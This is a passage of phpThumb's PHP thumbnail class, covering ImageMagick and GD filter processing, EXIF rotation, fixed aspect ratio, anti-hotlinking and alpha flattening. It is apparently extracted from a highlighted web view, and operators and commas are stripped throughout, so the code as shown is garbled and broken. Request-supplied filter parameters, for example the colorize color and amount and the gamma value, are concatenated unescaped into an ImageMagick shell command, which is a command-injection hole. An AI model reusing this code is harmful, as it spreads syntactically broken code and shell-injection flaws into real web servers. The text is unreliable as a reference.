$commandline .= ' -contrast'// increase contrast by 10%
                                    
}
                                } elseif (
$contDiv10 0) {
                                    for (
$i $contDiv10$i 0$i++) {
                                        
$commandline .= ' +contrast'// decrease contrast by 10%
                                    
}
                                } else {
                                    
// do nothing
                                
}
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'ds':
                            if (
$this->ImageMagickSwitchAvailable(array('colorspace''modulate'))) {
                                if (
$parameter == 100) {
                                    
$commandline .= ' -colorspace GRAY -modulate 100,0,100';
                                } else {
                                    
$commandline .= ' -modulate 100,'.(100 $parameter).',100';
                                }
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'sat':
                            if (
$this->ImageMagickSwitchAvailable(array('colorspace''modulate'))) {
                                if (
$parameter == -100) {
                                    
$commandline .= ' -colorspace GRAY -modulate 100,0,100';
                                } else {
                                    
$commandline .= ' -modulate 100,'.(100 $parameter).',100';
                                }
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'gray':
                            if (
$this->ImageMagickSwitchAvailable(array('colorspace''modulate'))) {
                                
$commandline .= ' -colorspace GRAY -modulate 100,0,100';
                                
//$commandline .= ' -colorspace GRAY';
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'clr':
                            if (
$this->ImageMagickSwitchAvailable(array('fill''colorize'))) {
                                @list(
$amount$color) = explode('|'$parameter);
                                
$commandline .= ' -fill "#'.$color.'" -colorize '.$amount;
                            }
                            break;

                        case 
'sep':
                            if (
$this->ImageMagickSwitchAvailable('sepia-tone')) {
                                @list(
$amount$color) = explode('|'$parameter);
                                
$amount = ($amount $amount 80);
                                if (!
$color) {
                                    
$commandline .= ' -sepia-tone '.$amount.'%';
                                    
$successfullyProcessedFilters[] = $filterkey;
                                }
                            }
                            break;

                        case 
'gam':
                            if (
$this->ImageMagickSwitchAvailable('gamma')) {
                                
$commandline .= ' -gamma '.$parameter;
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'neg':
                            if (
$this->ImageMagickSwitchAvailable('negate')) {
                                
$commandline .= ' -negate';
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'th':
                            if (
$this->ImageMagickSwitchAvailable(array('threshold''dither''monochrome'))) {
                                
$commandline .= ' -threshold '.round($parameter 2.55).'% -dither -monochrome';
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'rcd':
                            if (
$this->ImageMagickSwitchAvailable(array('colors''dither'))) {
                                @list(
$colors$dither) = explode('|'$parameter);
                                
$colors = ($colors                ?  (int) $colors 256);
                                
$dither  = ((strlen($dither) > 0) ? (bool) $dither true);
                                
$commandline .= ' -colors '.max($colors8); // ImageMagick will otherwise fail with "cannot quantize to fewer than 8 colors"
                                
$commandline .= ($dither ' -dither' ' +dither');
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'flip':
                            if (
$this->ImageMagickSwitchAvailable(array('flip''flop'))) {
                                if (
strpos(strtolower($parameter), 'x') !== false) {
                                    
$commandline .= ' -flop';
                                }
                                if (
strpos(strtolower($parameter), 'y') !== false) {
                                    
$commandline .= ' -flip';
                                }
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'edge':
                            if (
$this->ImageMagickSwitchAvailable('edge')) {
                                
$parameter = ($parameter $parameter 2);
                                
$commandline .= ' -edge '.($parameter $parameter 1);
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'emb':
                            if (
$this->ImageMagickSwitchAvailable(array('emboss''negate'))) {
                                
$parameter = ($parameter $parameter 2);
                                
$commandline .= ' -emboss '.$parameter;
                                if (
$parameter 2) {
                                    
$commandline .= ' -negate'// ImageMagick negates the image for some reason with '-emboss 1';
                                
}
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'lvl':
                            @list(
$band$method$threshold) = explode('|'$parameter);
                            
$band      = ($band ereg_replace('[^RGBA\\*]'''strtoupper($band)) : '*');
                            
$method    = ((strlen($method) > 0)    ? intval($method)                :   2);
                            
$threshold = ((strlen($threshold) > 0) ? floatval($threshold)           : 0.1);

                            
$band ereg_replace('[^RGBA\\*]'''strtoupper($band));

                            if ((
$method 1) && !$this->ImageMagickSwitchAvailable(array('channel''contrast-stretch'))) {
                                
// Because ImageMagick processing happens before PHP-GD filters, and because some
                                // clipping is involved in the "lvl" filter, if "lvl" happens before "wb" then the
                                // "wb" filter will have (almost) no effect. Therefore, if "wb" is enabled then
                                // force the "lvl" filter to be processed by GD, not ImageMagick.
                                
foreach ($this->fltr as $fltr_key => $fltr_value) {
                                    list(
$fltr_cmd) = explode('|'$fltr_value);
                                    if (
$fltr_cmd == 'wb') {
                                        
$this->DebugMessage('Setting "lvl" filter method to "0" (from "'.$method.'") because white-balance filter also enabled'__FILE____LINE__);
                                        
$method 0;
                                    }
                                }
                            }

                            switch (
$method) {
                                case 
0// internal RGB
                                
case 1// internal grayscale
                                    
break;
                                case 
2// ImageMagick "contrast-stretch"
                                    
if ($this->ImageMagickSwitchAvailable('contrast-stretch')) {
                                        
$thiscommand ' -contrast-stretch '.$threshold.'%';
                                        
$commandline .= (($band == '*') ? $thiscommand ' -channel '.strtoupper($band).$thiscommand.' +channel');
                                        
$successfullyProcessedFilters[] = $filterkey;
                                    }
                                    break;
                                case 
3// ImageMagick "normalize"
                                    
if ($this->ImageMagickSwitchAvailable('normalize')) {
                                        
$thiscommand ' -normalize';
                                        
$commandline .= (($band == '*') ? $thiscommand ' -channel '.strtoupper($band).$thiscommand.' +channel');
                                        
$successfullyProcessedFilters[] = $filterkey;
                                    }
                                    break;
                                default:
                                    
$this->DebugMessage('unsupported method ('.$method.') for "lvl" filter'__FILE____LINE__);
                                    break;
                            }
                            if (isset(
$this->fltr[$filterkey]) && ($method 1)) {
                                
$this->fltr[$filterkey] = $command.'|'.$band.'|0|'.$threshold;
                                
$this->DebugMessage('filter "lvl" remapped from method "'.$method.'" to method "0" because ImageMagick support is missing'__FILE____LINE__);
                            }
                            break;

                        case 
'wb':
                            if (
$this->ImageMagickSwitchAvailable(array('channel''contrast-stretch'))) {
                                @list(
$threshold) = explode('|'$parameter);
                                
$threshold = (is_float($threshold) ? $threshold 0.1);
                                
$commandline .= ' -channel R -contrast-stretch '.$threshold.'%';
                                
$commandline .= ' -channel G -contrast-stretch '.$threshold.'%';
                                
$commandline .= ' -channel B -contrast-stretch '.$threshold.'%';
                                
$commandline .= ' +channel';
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'blur':
                            if (
$this->ImageMagickSwitchAvailable('blur')) {
                                @list(
$radius) = explode('|'$parameter);
                                
$radius = ($radius $radius 1);
                                
$commandline .= ' -blur '.$radius;
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'gblr':
                            if (
$this->ImageMagickSwitchAvailable('gaussian')) {
                                @list(
$radius) = explode('|'$parameter);
                                
$radius = ($radius $radius 1);
                                
$commandline .= ' -gaussian '.$radius;
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'usm':
                            if (
$this->ImageMagickSwitchAvailable('unsharp')) {
                                @list(
$amount$radius$threshold) = explode('|'$parameter);
                                
$amount    = ($amount            $amount    80);
                                
$radius    = ($radius            $radius    0.5);
                                
$threshold = (strlen($threshold) ? $threshold 3);
                                
$commandline .= ' -unsharp '.number_format(($radius 2) - 12).'x1+'.number_format($amount 1002).'+'.number_format($threshold 1002);
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'bord':
                            if (
$this->ImageMagickSwitchAvailable(array('border''bordercolor''thumbnail''crop'))) {
                                if (!
$this->zc) {
                                    @list(
$width$rX$rY$color) = explode('|'$parameter);
                                    if (
$width && !$rX && !$rY) {
                                        if (!
phpthumb_functions::IsHexColor($color)) {
                                            
$color = ($this->bc $this->bc '000000');
                                        }
                                        
$commandline .= ' -border '.$width.' -bordercolor "#'.$color.'"';
                                        if (
ereg(' \-crop ([0-9]+)x([0-9]+)\+0\+0 '$commandline$matches)) {
                                            
$commandline str_replace(' -crop '.$matches[1].'x'.$matches[2].'+0+0 '' -crop '.($matches[1] - ($width)).'x'.($matches[2] - ($width)).'+0+0 '$commandline);
                                        } elseif (
ereg(' \-'.$IMresizeParameter.' ([0-9]+)x([0-9]+) '$commandline$matches)) {
                                            
$commandline str_replace(' -'.$IMresizeParameter.' '.$matches[1].'x'.$matches[2].' '' -'.$IMresizeParameter.' '.($matches[1] - ($width)).'x'.($matches[2] - ($width)).' '$commandline);
                                        }
                                        
$successfullyProcessedFilters[] = $filterkey;
                                    }
                                }
                            }
                            break;

                        case 
'crop':
                            break;

                        case 
'sblr':
                            break;

                        case 
'mean':
                            break;

                        case 
'smth':
                            break;

                        case 
'bvl':
                            break;

                        case 
'wmi':
                            break;

                        case 
'wmt':
                            break;

                        case 
'over':
                            break;

                        case 
'hist':
                            break;

                        case 
'fram':
                            break;

                        case 
'drop':
                            break;

                        case 
'mask':
                            break;

                        case 
'elip':
                            break;

                        case 
'ric':
                            break;

                        case 
'stc':
                            break;

                        case 
'size':
                            break;

                        default:
                            
$this->DebugMessage('Unknown $this->fltr['.$filterkey.'] ('.$filtercommand.') -- deleting filter command'__FILE____LINE__);
                            
$successfullyProcessedFilters[] = $filterkey;
                            break;
                    }
                    if (!isset(
$this->fltr[$filterkey])) {
                        
$this->DebugMessage('Processed $this->fltr['.$filterkey.'] ('.$filtercommand.') with ImageMagick'__FILE____LINE__);
                    } else {
                        
$this->DebugMessage('Skipping $this->fltr['.$filterkey.'] ('.$filtercommand.') with ImageMagick'__FILE____LINE__);
                    }
                }
                
$this->DebugMessage('Remaining $this->fltr after ImageMagick: ('.$this->phpThumbDebugVarDump($this->fltr).')'__FILE____LINE__);
                if (
count($this->fltr) > 0) {
                    
$this->useRawIMoutput false;
                }

                if (
eregi('jpe?g'$outputFormat) && $this->q) {
                    if (
$this->ImageMagickSwitchAvailable(array('quality''interlace'))) {
                        
$commandline .= ' -quality '.$this->thumbnailQuality;
                        if (
$this->config_output_interlace) {
                            
// causes weird things with animated GIF... leave for JPEG only
                            
$commandline .= ' -interlace line '// Use Line or Plane to create an interlaced PNG or GIF or progressive JPEG image
                        
}
                    }
                }
                
$commandline .= ' "'.str_replace('/'DIRECTORY_SEPARATOR$this->sourceFilename).(($outputFormat == 'gif') ? '' '['.intval($this->sfn).']').'"'// [0] means first frame of (GIF) animation, can be ignored
                
$commandline .= ' '.$outputFormat.':"'.$IMtempfilename.'"';
                if (!
$this->iswindows) {
                    
$commandline .= ' 2>&1';
                }
                
$this->DebugMessage('ImageMagick called as ('.$commandline.')'__FILE____LINE__);
                
$IMresult phpthumb_functions::SafeExec($commandline);
                
clearstatcache();
                if (@
$IMtempSourceFilename && file_exists($IMtempSourceFilename)) {
                    
$this->DebugMessage('deleting "'.$IMtempSourceFilename.'"'__FILE____LINE__);
                    @
unlink($IMtempSourceFilename);
                }
                if (!@
file_exists($IMtempfilename) || !@filesize($IMtempfilename)) {
                    
$this->FatalError('ImageMagick failed with message ('.trim($IMresult).')');
                    
$this->DebugMessage('ImageMagick failed with message ('.trim($IMresult).')'__FILE____LINE__);
                    if (
$this->iswindows && !$IMresult) {
                        
$this->DebugMessage('Check to make sure that PHP has read+write permissions to "'.dirname($IMtempfilename).'"'__FILE____LINE__);
                    }

                } else {

                    foreach (
$successfullyProcessedFilters as $dummy => $filterkey) {
                        unset(
$this->fltr[$filterkey]);
                    }
                    
$this->IMresizedData file_get_contents($IMtempfilename);
                    
$getimagesize_imresized = @GetImageSize($IMtempfilename);
                    
$this->DebugMessage('GetImageSize('.$IMtempfilename.') returned [w='.$getimagesize_imresized[0].';h='.$getimagesize_imresized[1].';f='.$getimagesize_imresized[2].']'__FILE____LINE__);
                    if ((
$this->config_max_source_pixels 0) && (($getimagesize_imresized[0] * $getimagesize_imresized[1]) > $this->config_max_source_pixels)) {
                        
$this->DebugMessage('skipping ImageMagickThumbnailToGD::'.$ImageCreateFunction.'() because IM output is too large ('.$getimagesize_imresized[0].'x'.$getimagesize_imresized[0].' = '.($getimagesize_imresized[0] * $getimagesize_imresized[1]).' > '.$this->config_max_source_pixels.')'__FILE____LINE__);
                    } elseif (
function_exists(@$ImageCreateFunction) && ($this->gdimg_source = @$ImageCreateFunction($IMtempfilename))) {
                        
$this->source_width  ImageSX($this->gdimg_source);
                        
$this->source_height ImageSY($this->gdimg_source);
                        
$this->DebugMessage('ImageMagickThumbnailToGD::'.$ImageCreateFunction.'() succeeded, $this->gdimg_source is now ('.$this->source_width.'x'.$this->source_height.')'__FILE____LINE__);
                        
$this->DebugMessage('ImageMagickThumbnailToGD() returning $this->IMresizedData ('.strlen($this->IMresizedData).' bytes)'__FILE____LINE__);
                    } else {
                        
$this->useRawIMoutput true;
                        
$this->DebugMessage('$this->useRawIMoutput set to TRUE because '.@$ImageCreateFunction.'('.$IMtempfilename.') failed'__FILE____LINE__);
                    }
                    
$this->DebugMessage('deleting "'.$IMtempfilename.'"'__FILE____LINE__);
                    @
unlink($IMtempfilename);
                    return 
true;

                }
                
$this->DebugMessage('deleting "'.$IMtempfilename.'"'__FILE____LINE__);
                
unlink($IMtempfilename);

            } elseif (
ini_get('safe_mode')) {
                
$this->DebugMessage('ImageMagickThumbnailToGD() aborting because PHP safe_mode is enabled and phpThumb_tempnam() failed'__FILE____LINE__);
                
$this->useRawIMoutput false;
            } else {
                
$this->DebugMessage('ImageMagickThumbnailToGD() aborting, phpThumb_tempnam() failed'__FILE____LINE__);
            }
        } else {
            
$this->DebugMessage('ImageMagickThumbnailToGD() aborting because ImageMagickCommandlineBase() failed'__FILE____LINE__);
        }
        
$this->useRawIMoutput false;
        return 
false;
    }


    function 
Rotate() {
        if (
$this->ra || $this->ar) {
            if (!
function_exists('ImageRotate')) {
                
$this->DebugMessage('!function_exists(ImageRotate)'__FILE____LINE__);
                return 
false;
            }
            if (!include_once(
dirname(__FILE__).'/phpthumb.filters.php')) {
                
$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.filters.php" which is required for applying filters ('.implode(';'$this->fltr).')'__FILE____LINE__);
                return 
false;
            }

            
$this->config_background_hexcolor = ($this->bg $this->bg $this->config_background_hexcolor);
            if (!
phpthumb_functions::IsHexColor($this->config_background_hexcolor)) {
                return 
$this->ErrorImage('Invalid hex color string "'.$this->config_background_hexcolor.'" for parameter "bg"');
            }

            
$rotate_angle 0;
            if (
$this->ra) {

                
$rotate_angle floatval($this->ra);

            } else {

                if (
$this->ar == 'x') {
                    if (
phpthumb_functions::version_compare_replacement(phpversion(), '4.2.0''>=')) {
                        if (
$this->sourceFilename) {
                            if (
function_exists('exif_read_data')) {
                                if (
$exif_data = @exif_read_data($this->sourceFilename'IFD0')) {
                                    
// http://sylvana.net/jpegcrop/exif_orientation.html
                                    
switch (@$exif_data['Orientation']) {
                                        case 
1:
                                            
$rotate_angle 0;
                                            break;
                                        case 
3:
                                            
$rotate_angle 180;
                                            break;
                                        case 
6:
                                            
$rotate_angle 270;
                                            break;
                                        case 
8:
                                            
$rotate_angle 90;
                                            break;

                                        default:
                                            
$this->DebugMessage('EXIF auto-rotate failed because unknown $exif_data[Orientation] "'.@$exif_data['Orientation'].'"'__FILE____LINE__);
                                            return 
false;
                                            break;
                                    }
                                    
$this->DebugMessage('EXIF auto-rotate set to '.$rotate_angle.' degrees ($exif_data[Orientation] = "'.@$exif_data['Orientation'].'")'__FILE____LINE__);
                                } else {
                                    
$this->DebugMessage('failed: exif_read_data('.$this->sourceFilename.')'__FILE____LINE__);
                                    return 
false;
                                }
                            } else {
                                
$this->DebugMessage('!function_exists(exif_read_data)'__FILE____LINE__);
                                return 
false;
                            }
                        } else {
                            
$this->DebugMessage('Cannot auto-rotate from EXIF data because $this->sourceFilename is empty'__FILE____LINE__);
                            return 
false;
                        }
                    } else {
                        
$this->DebugMessage('Cannot auto-rotate from EXIF data because PHP is less than v4.2.0 ('.phpversion().')'__FILE____LINE__);
                        return 
false;
                    }
                } elseif ((
$this->ar == 'l') && ($this->source_height $this->source_width)) {
                    
$rotate_angle 270;
                } elseif ((
$this->ar == 'L') && ($this->source_height $this->source_width)) {
                    
$rotate_angle 90;
                } elseif ((
$this->ar == 'p') && ($this->source_width $this->source_height)) {
                    
$rotate_angle 90;
                } elseif ((
$this->ar == 'P') && ($this->source_width $this->source_height)) {
                    
$rotate_angle 270;
                }

            }
            if (
$rotate_angle 90) {
                
$this->is_alpha true;
            }
            
phpthumb_filters::ImprovedImageRotate($this->gdimg_source$rotate_angle$this->config_background_hexcolor$this->bg);
            
$this->source_width  ImageSX($this->gdimg_source);
            
$this->source_height ImageSY($this->gdimg_source);
        }
        return 
true;
    }


    function 
FixedAspectRatio() {
        
// optional fixed-dimension images (regardless of aspect ratio)

        
if (!$this->far) {
            
// do nothing
            
return true;
        }

        if (!
$this->|| !$this->h) {
            return 
false;
        }
        
$this->thumbnail_width  $this->w;
        
$this->thumbnail_height $this->h;
        
$this->is_alpha true;
        if (
$this->thumbnail_image_width >= $this->thumbnail_width) {

            if (
$this->w) {
                
$aspectratio $this->thumbnail_image_height $this->thumbnail_image_width;
                
$this->thumbnail_image_height round($this->thumbnail_image_width $aspectratio);
                
$this->thumbnail_height = ($this->$this->$this->thumbnail_image_height);
            } elseif (
$this->thumbnail_image_height $this->thumbnail_height) {
                
$this->thumbnail_image_height $this->thumbnail_height;
                
$this->thumbnail_image_width  round($this->thumbnail_image_height $aspectratio);
            }

        } else {
            if (
$this->h) {
                
$aspectratio $this->thumbnail_image_width $this->thumbnail_image_height;
                
$this->thumbnail_image_width round($this->thumbnail_image_height $aspectratio);
            } elseif (
$this->thumbnail_image_width $this->thumbnail_width) {
                
$this->thumbnail_image_width $this->thumbnail_width;
                
$this->thumbnail_image_height  round($this->thumbnail_image_width $aspectratio);
            }

        }
        return 
true;
    }


    function 
OffsiteDomainIsAllowed($hostname$allowed_domains) {
        static 
$domain_is_allowed = array();
        
$hostname strtolower($hostname);
        if (!isset(
$domain_is_allowed[$hostname])) {
            
$domain_is_allowed[$hostname] = false;
            foreach (
$allowed_domains as $valid_domain) {
                
$starpos strpos($valid_domain'*');
                if (
$starpos !== false) {
                    
$valid_domain substr($valid_domain$starpos 1);
                    if (
eregi($valid_domain.'$'$hostname)) {
                        
$domain_is_allowed[$hostname] = true;
                        break;
                    }
                } else {
                    if (
strtolower($valid_domain) === $hostname) {
                        
$domain_is_allowed[$hostname] = true;
                        break;
                    }
                }
            }
        }
        return 
$domain_is_allowed[$hostname];
    }


    function 
AntiOffsiteLinking() {
        
// Optional anti-offsite hijacking of the thumbnail script
        
$allow true;
        if (
$allow && $this->config_nooffsitelink_enabled && (@$_SERVER['HTTP_REFERER'] || $this->config_nooffsitelink_require_refer)) {
            
$this->DebugMessage('AntiOffsiteLinking() checking $_SERVER[HTTP_REFERER] "'.@$_SERVER['HTTP_REFERER'].'"'__FILE____LINE__);
            foreach (
$this->config_nooffsitelink_valid_domains as $key => $valid_domain) {
                
// $_SERVER['HTTP_HOST'] contains the port number, so strip it out here to make default configuration work
                
list($clean_domain) = explode(':'$valid_domain);
                
$this->config_nooffsitelink_valid_domains[$key] = $clean_domain;
            }
            
$parsed_url phpthumb_functions::ParseURLbetter(@$_SERVER['HTTP_REFERER']);
            if (!
$this->OffsiteDomainIsAllowed(@$parsed_url['host'], $this->config_nooffsitelink_valid_domains)) {
                
$allow false;
                
$erase   $this->config_nooffsitelink_erase_image;
                
$message $this->config_nooffsitelink_text_message;
$this->ErrorImage('AntiOffsiteLinking() - "'.@$parsed_url['host'].'" is NOT in $this->config_nooffsitelink_valid_domains ('.implode(';'$this->config_nooffsitelink_valid_domains).')');
exit;
                
$this->DebugMessage('AntiOffsiteLinking() - "'.@$parsed_url['host'].'" is NOT in $this->config_nooffsitelink_valid_domains ('.implode(';'$this->config_nooffsitelink_valid_domains).')'__FILE____LINE__);
            } else {
                
$this->DebugMessage('AntiOffsiteLinking() - "'.@$parsed_url['host'].'" is in $this->config_nooffsitelink_valid_domains ('.implode(';'$this->config_nooffsitelink_valid_domains).')'__FILE____LINE__);
            }
        }

        if (
$allow && $this->config_nohotlink_enabled && eregi('^(f|ht)tps?\://'$this->src)) {
            
$parsed_url phpthumb_functions::ParseURLbetter($this->src);
            
//if (!phpthumb_functions::CaseInsensitiveInArray(@$parsed_url['host'], $this->config_nohotlink_valid_domains)) {
            
if ($this->OffsiteDomainIsAllowed(@$parsed_url['host'], $this->config_nohotlink_valid_domains)) {
                
// This domain is not allowed
                
$allow false;
                
$erase   $this->config_nohotlink_erase_image;
                
$message $this->config_nohotlink_text_message;
                
$this->DebugMessage('AntiOffsiteLinking() - "'.$parsed_url['host'].'" is NOT in $this->config_nohotlink_valid_domains ('.implode(';'$this->config_nohotlink_valid_domains).')'__FILE____LINE__);
            } else {
                
$this->DebugMessage('AntiOffsiteLinking() - "'.$parsed_url['host'].'" is in $this->config_nohotlink_valid_domains ('.implode(';'$this->config_nohotlink_valid_domains).')'__FILE____LINE__);
            }
        }

        if (
$allow) {
            
$this->DebugMessage('AntiOffsiteLinking() says this is allowed'__FILE____LINE__);
            return 
true;
        }

        if (!
phpthumb_functions::IsHexColor($this->config_error_bgcolor)) {
            return 
$this->ErrorImage('Invalid hex color string "'.$this->config_error_bgcolor.'" for $this->config_error_bgcolor');
        }
        if (!
phpthumb_functions::IsHexColor($this->config_error_textcolor)) {
            return 
$this->ErrorImage('Invalid hex color string "'.$this->config_error_textcolor.'" for $this->config_error_textcolor');
        }
        if (
$erase) {

            return 
$this->ErrorImage($message$this->thumbnail_width$this->thumbnail_height$this->config_error_bgcolor$this->config_error_textcolor$this->config_error_fontsize);

        } else {

            
$this->config_nooffsitelink_watermark_src $this->ResolveFilenameToAbsolute($this->config_nooffsitelink_watermark_src);
            if (
is_file($this->config_nooffsitelink_watermark_src)) {

                if (!include_once(
dirname(__FILE__).'/phpthumb.filters.php')) {
                    
$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.filters.php" which is required for applying watermark'__FILE____LINE__);
                    return 
false;
                }
                
$watermark_img $this->ImageCreateFromStringReplacement(file_get_contents($this->config_nooffsitelink_watermark_src));
                
$phpthumbFilters = new phpthumb_filters();
                
$phpthumbFilters->phpThumbObject = &$this;
                
$opacity 50;
                
$margin  5;
                
$phpthumbFilters->WatermarkOverlay($this->gdimg_output$watermark_img'*'$opacity$margin);
                
ImageDestroy($watermark_img);
                unset(
$phpthumbFilters);

            } else {

                
$nohotlink_text_array explode("\n"wordwrap($messagefloor($this->thumbnail_width ImageFontWidth($this->config_error_fontsize)), "\n"));
                
$nohotlink_text_color phpthumb_functions::ImageHexColorAllocate($this->gdimg_output$this->config_error_textcolor);

                
$topoffset round(($this->thumbnail_height - (count($nohotlink_text_array) * ImageFontHeight($this->config_error_fontsize))) / 2);

                
$rowcounter 0;
                
$this->DebugMessage('AntiOffsiteLinking() writing '.count($nohotlink_text_array).' lines of text "'.$message.'" (in #'.$this->config_error_textcolor.') on top of image'__FILE____LINE__);
                foreach (
$nohotlink_text_array as $textline) {
                    
$leftoffset max(0round(($this->thumbnail_width - (strlen($textline) * ImageFontWidth($this->config_error_fontsize))) / 2));
                    
ImageString($this->gdimg_output$this->config_error_fontsize$leftoffset$topoffset + ($rowcounter++ * ImageFontHeight($this->config_error_fontsize)), $textline$nohotlink_text_color);
                }

            }

        }
        return 
true;
    }


    function 
AlphaChannelFlatten() {
        if (!
$this->is_alpha) {
            
// image doesn't have alpha transparency, no need to flatten
            
$this->DebugMessage('skipping AlphaChannelFlatten() because !$this->is_alpha'__FILE____LINE__);
            return 
false;
        }
        switch (
$this->thumbnailFormat) {
            case 
'png':
            case 
'ico':
                
// image has alpha transparency, but output as PNG or ICO which can handle it
                
$this->DebugMessage('skipping AlphaChannelFlatten() because ($this->thumbnailFormat == "'.$this->thumbnailFormat.'")'__FILE____LINE__);
                return 
false;
                break;

            case 
'gif':
                
// image has alpha transparency, but output as GIF which can handle only single-color transparency
                
$CurrentImageColorTransparent ImageColorTransparent($this->gdimg_output);
                if (
$CurrentImageColorTransparent == -1) {
                    
// no transparent color defined

                    
if (phpthumb_functions::gd_version() < 2.0) {
                        
$this->DebugMessage('AlphaChannelFlatten() failed because GD version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                        return 
false;
                    }

                    if (
$img_alpha_mixdown_dither = @ImageCreateTrueColor(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output))) {

                        for (
$i 0$i <= 255$i++) {
                            
$dither_color[$i] = ImageColorAllocate($img_alpha_mixdown_dither$i$i$i);
                        }

                        
// scan through current truecolor image copy alpha channel to temp image as grayscale
                        
for ($x 0$x $this->thumbnail_width$x++) {
                            for (
$y 0$y $this->thumbnail_height$y++) {
                                
$PixelColor phpthumb_functions::GetPixelColor($this->gdimg_output$x$y);
                                
ImageSetPixel($img_alpha_mixdown_dither$x$y$dither_color[($PixelColor['alpha'] * 2)]);
                            }
                        }

                        
// dither alpha channel grayscale version down to 2 colors
                        
ImageTrueColorToPalette($img_alpha_mixdown_dithertrue2);

                        
// reduce color palette to 256-1 colors (leave one palette position for transparent color)
                        
ImageTrueColorToPalette($this->gdimg_outputtrue255);

                        
// allocate a new color for transparent color index
                        
$TransparentColor ImageColorAllocate($this->gdimg_output1254253);
                        
ImageColorTransparent($this->gdimg_output$TransparentColor);

                        
// scan through alpha channel image and note pixels with >50% transparency
                        
$TransparentPixels = array();
                        for (
$x 0$x $this->thumbnail_width$x++) {
                            for (
$y 0$y $this->thumbnail_height$y++) {
                                
$AlphaChannelPixel phpthumb_functions::GetPixelColor($img_alpha_mixdown_dither$x$y);
                                if (
$AlphaChannelPixel['red'] > 127) {
                                    
ImageSetPixel($this->gdimg_output$x$y$TransparentColor);
                                }
                            }
                        }
                        
ImageDestroy($img_alpha_mixdown_dither);

                        
$this->DebugMessage('AlphaChannelFlatten() set image to 255+1 colors with transparency for GIF output'__FILE____LINE__);
                        return 
true;

                    } else {
                        
$this->DebugMessage('AlphaChannelFlatten() failed ImageCreate('.ImageSX($this->gdimg_output).', '.ImageSY($this->gdimg_output).')'__FILE____LINE__);
                        return 
false;
                    }

                } else {
                    
// a single transparent color already defined, leave as-is
                    
$this->DebugMessage('skipping AlphaChannelFlatten() because ($this->thumbnailFormat == "'.$this->thumbnailFormat.'") and ImageColorTransparent returned "'.$CurrentImageColorTransparent.'"'__FILE____LINE__);
                    return 
true;
                }
                break;
        }
        
$this->DebugMessage('continuing AlphaChannelFlatten() for output format "'.$this->thumbnailFormat.'"'__FILE____LINE__);
        
// image has alpha transparency, and is being output in a format that doesn't support it -- flatten
        
if ($gdimg_flatten_temp phpthumb_functions::ImageCreateFunction($this->thumbnail_width$this->thumbnail_height)) {

            
$this->config_background_hexcolor = ($this->bg $this->bg $this->config_background_hexcolor);
            if (!
phpthumb_functions::IsHexColor($this->config_background_hexcolor)) {
                return 
$this->ErrorImage('Invalid hex color string "'.$this->config_background_hexcolor.'" for parameter "bg"');
            }
            
$background_color phpthumb_functions::ImageHexColorAllocate($this->gdimg_output$this->config_background_hexcolor);
            
ImageFilledRectangle($gdimg_flatten_temp00$this->thumbnail_width$this->thumbnail_height$background_color);
            
ImageCopy($gdimg_flatten_temp$this->gdimg_output0000$this->thumbnail_width$this->thumbnail_height);

            
ImageAlphaBlending($this->gdimg_outputtrue);
            
ImageSaveAlpha($this->gdimg_outputfalse);
            
ImageColorTransparent($this->gdimg_output, -1);
            
ImageCopy($this->gdimg_output$gdimg_flatten_temp0000$this->thumbnail_width$this->thumbnail_height);

            
ImageDestroy($gdimg_flatten_temp);
            return 
true;

        } else {
            
$this->DebugMessage('ImageCreateFunction() failed'__FILE____LINE__);
        }
        return 
false;
    }


    function 
ApplyFilters() {
        if (
$this->fltr && is_array($this->fltr)) {
            if (!include_once(
dirname(__FILE__).'/phpthumb.filters.php')) {
                
$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.filters.php" which is required for applying filters ('.implode(';'$this->fltr).')'__FILE____LINE__);
                return 
false;
            }
            
$phpthumbFilters = new phpthumb_filters();
            
$phpthumbFilters->phpThumbObject = &$this;
            foreach (
$this->fltr as $filtercommand) {
                @list(
$command$parameter) = explode('|'$filtercommand2);
                
$this->DebugMessage('Attempting to process filter command "'.$command.'('.$parameter.')"'__FILE____LINE__);
                switch (
$command) {
                    case 
'brit'// Brightness
                        
$phpthumbFilters->Brightness($this->gdimg_output$parameter);
                        break;

                    case 
'cont'// Contrast
                        
$phpthumbFilters->Contrast($this->gdimg_output$parameter);
                        break;

                    case 
'ds'// Desaturation
                        
$phpthumbFilters->Desaturate($this->gdimg_output$parameter'');
                        break;

                    case 
'sat'// Saturation
                        
$phpthumbFilters->Saturation($this->gdimg_output$parameter'');
                        break;

                    case 
'gray'// Grayscale
                        
$phpthumbFilters->Grayscale($this->gdimg_output);
                        break;

                    case 
'clr'// Colorize
                        
if (phpthumb_functions::gd_version() < 2) {
                            
$this->DebugMessage('Skipping Colorize() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            break;
                        }
                        @list(
$amount$color) = explode('|'$parameter);
                        
$phpthumbFilters->Colorize($this->gdimg_output$amount$color);
                        break;

                    case 
'sep'// Sepia
                        
if (phpthumb_functions::gd_version() < 2) {
                            
$this->DebugMessage('Skipping Sepia() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            break;
                        }
                        @list(
$amount$color) = explode('|'$parameter);
                        
$phpthumbFilters->Sepia($this->gdimg_output$amount$color);
                        break;

                    case 
